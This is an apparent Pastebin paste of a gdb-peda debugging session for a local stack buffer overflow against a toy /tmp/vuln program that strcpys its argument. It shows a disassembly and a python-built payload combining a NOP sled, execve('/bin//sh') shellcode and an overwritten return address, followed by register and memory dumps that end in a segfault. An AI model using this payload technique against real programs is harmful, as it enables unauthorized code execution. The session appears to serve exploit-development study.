Advertisement
Guest User

GDB Shell Code Crash

a guest
May 7th, 2017
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.89 KB | None | 0 0
  1. gdb-peda$ disass main
  2. Dump of assembler code for function main:
  3.    0x0804843b <+0>: lea    ecx,[esp+0x4]
  4.    0x0804843f <+4>: and    esp,0xfffffff0
  5.    0x08048442 <+7>: push   DWORD PTR [ecx-0x4]
  6.    0x08048445 <+10>:    push   ebp
  7.    0x08048446 <+11>:    mov    ebp,esp
  8.    0x08048448 <+13>:    push   ecx
  9.    0x08048449 <+14>:    sub    esp,0x134
  10.    0x0804844f <+20>:    mov    eax,ecx
  11.    0x08048451 <+22>:    cmp    DWORD PTR [eax],0x1
  12.    0x08048454 <+25>:    jg     0x804845d <main+34>
  13.    0x08048456 <+27>:    mov    eax,0x1
  14.    0x0804845b <+32>:    jmp    0x8048494 <main+89>
  15.    0x0804845d <+34>:    mov    eax,DWORD PTR [eax+0x4]
  16.    0x08048460 <+37>:    add    eax,0x4
  17.    0x08048463 <+40>:    mov    eax,DWORD PTR [eax]
  18.    0x08048465 <+42>:    sub    esp,0x8
  19.    0x08048468 <+45>:    push   eax
  20.    0x08048469 <+46>:    lea    eax,[ebp-0x134]
  21.    0x0804846f <+52>:    push   eax
  22.    0x08048470 <+53>:    call   0x8048310 <strcpy@plt>
  23.    0x08048475 <+58>:    add    esp,0x10
  24.    0x08048478 <+61>:    sub    esp,0x8
  25.    0x0804847b <+64>:    lea    eax,[ebp-0x134]
  26.    0x08048481 <+70>:    push   eax
  27.    0x08048482 <+71>:    push   0x8048520
  28.    0x08048487 <+76>:    call   0x8048300 <printf@plt>
  29.    0x0804848c <+81>:    add    esp,0x10
  30.    0x0804848f <+84>:    mov    eax,0x0
  31.    0x08048494 <+89>:    mov    ecx,DWORD PTR [ebp-0x4]
  32.    0x08048497 <+92>:    leave  
  33.    0x08048498 <+93>:    lea    esp,[ecx-0x4]
  34.    0x0804849b <+96>:    ret    
  35. End of assembler dump.
  36. gdb-peda$ b *0x08048487
  37. Breakpoint 1 at 0x8048487
  38. gdb-peda$ r $(python -c 'print "\x90" * 96 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x84\xcc\xff\xff" + "\x90" * 180')
  39. Starting program: /tmp/vuln $(python -c 'print "\x90" * 96 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x84\xcc\xff\xff" + "\x90" * 180')
  40.  
  41. [----------------------------------registers-----------------------------------]
  42. EAX: 0xffffcc84 --> 0x90909090
  43. EBX: 0x0
  44. ECX: 0xffffd1a0 --> 0x909090
  45. EDX: 0xffffcdb1 --> 0x909090
  46. ESI: 0xf7f9a000 --> 0x1b1db0
  47. EDI: 0xf7f9a000 --> 0x1b1db0
  48. EBP: 0xffffcdb8 --> 0x0
  49. ESP: 0xffffcc70 --> 0x8048520 ("Input: '%s'\n")
  50. EIP: 0x8048487 (<main+76>:  call   0x8048300 <printf@plt>)
  51. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  52. [-------------------------------------code-------------------------------------]
  53.    0x804847b <main+64>: lea    eax,[ebp-0x134]
  54.    0x8048481 <main+70>: push   eax
  55.    0x8048482 <main+71>: push   0x8048520
  56. => 0x8048487 <main+76>: call   0x8048300 <printf@plt>
  57.    0x804848c <main+81>: add    esp,0x10
  58.    0x804848f <main+84>: mov    eax,0x0
  59.    0x8048494 <main+89>: mov    ecx,DWORD PTR [ebp-0x4]
  60.    0x8048497 <main+92>: leave
  61. Guessed arguments:
  62. arg[0]: 0x8048520 ("Input: '%s'\n")
  63. arg[1]: 0xffffcc84 --> 0x90909090
  64. [------------------------------------stack-------------------------------------]
  65. 0000| 0xffffcc70 --> 0x8048520 ("Input: '%s'\n")
  66. 0004| 0xffffcc74 --> 0xffffcc84 --> 0x90909090
  67. 0008| 0xffffcc78 --> 0x1
  68. 0012| 0xffffcc7c --> 0x1
  69. 0016| 0xffffcc80 --> 0xf7df4dc8 --> 0x2b76 ('v+')
  70. 0020| 0xffffcc84 --> 0x90909090
  71. 0024| 0xffffcc88 --> 0x90909090
  72. 0028| 0xffffcc8c --> 0x90909090
  73. [------------------------------------------------------------------------------]
  74. Legend: code, data, rodata, value
  75.  
  76. Breakpoint 1, 0x08048487 in main ()
  77. gdb-peda$ x/200xb $esp
  78. 0xffffcc70: 0x20    0x85    0x04    0x08    0x84    0xcc    0xff    0xff
  79. 0xffffcc78: 0x01    0x00    0x00    0x00    0x01    0x00    0x00    0x00
  80. 0xffffcc80: 0xc8    0x4d    0xdf    0xf7    0x90    0x90    0x90    0x90
  81. 0xffffcc88: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  82. 0xffffcc90: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  83. 0xffffcc98: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  84. 0xffffcca0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  85. 0xffffcca8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  86. 0xffffccb0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  87. 0xffffccb8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  88. 0xffffccc0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  89. 0xffffccc8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  90. 0xffffccd0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  91. 0xffffccd8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  92. 0xffffcce0: 0x90    0x90    0x90    0x90    0x31    0xc0    0x50    0x68
  93. 0xffffcce8: 0x2f    0x2f    0x73    0x68    0x68    0x2f    0x62    0x69
  94. 0xffffccf0: 0x6e    0x89    0xe3    0x50    0x53    0x89    0xe1    0x99
  95. 0xffffccf8: 0xb0    0x0b    0xcd    0x80    0x84    0xcc    0xff    0xff
  96. 0xffffcd00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  97. 0xffffcd08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  98. 0xffffcd10: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  99. 0xffffcd18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  100. 0xffffcd20: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  101. 0xffffcd28: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  102. 0xffffcd30: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
  103. gdb-peda$ c
  104. Continuing.
  105. Input: '������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ
  106.                                                                                                                           ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������'
  107.  
  108. Program received signal SIGSEGV, Segmentation fault.
  109.  
  110. [----------------------------------registers-----------------------------------]
  111. EAX: 0x0
  112. EBX: 0xffffccf4 ("/bin//sh")
  113. ECX: 0xffffcd00 --> 0x90909090
  114. EDX: 0xf7f9b870 --> 0x0
  115. ESI: 0xf7f9a000 --> 0x1b1db0
  116. EDI: 0xf7f9a000 --> 0x1b1db0
  117. EBP: 0x0
  118. ESP: 0xffffccf0 --> 0x0
  119. EIP: 0xffffccf5 ("bin//sh")
  120. EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
  121. [-------------------------------------code-------------------------------------]
  122.    0xffffccec:  push   0x69622f
  123.    0xffffccf1:  add    BYTE PTR [eax],al
  124.    0xffffccf3:  add    BYTE PTR [edi],ch
  125. => 0xffffccf5:  bound  ebp,QWORD PTR [ecx+0x6e]
  126.    0xffffccf8:  das    
  127.    0xffffccf9:  das    
  128.    0xffffccfa:  jae    0xffffcd64
  129.    0xffffccfc:  add    BYTE PTR [eax],al
  130. [------------------------------------stack-------------------------------------]
  131. 0000| 0xffffccf0 --> 0x0
  132. 0004| 0xffffccf4 ("/bin//sh")
  133. 0008| 0xffffccf8 ("//sh")
  134. 0012| 0xffffccfc --> 0x0
  135. 0016| 0xffffcd00 --> 0x90909090
  136. 0020| 0xffffcd04 --> 0x90909090
  137. 0024| 0xffffcd08 --> 0x90909090
  138. 0028| 0xffffcd0c --> 0x90909090
  139. [------------------------------------------------------------------------------]
  140. Legend: code, data, rodata, value
  141. Stopped reason: SIGSEGV
  142. 0xffffccf5 in ?? ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement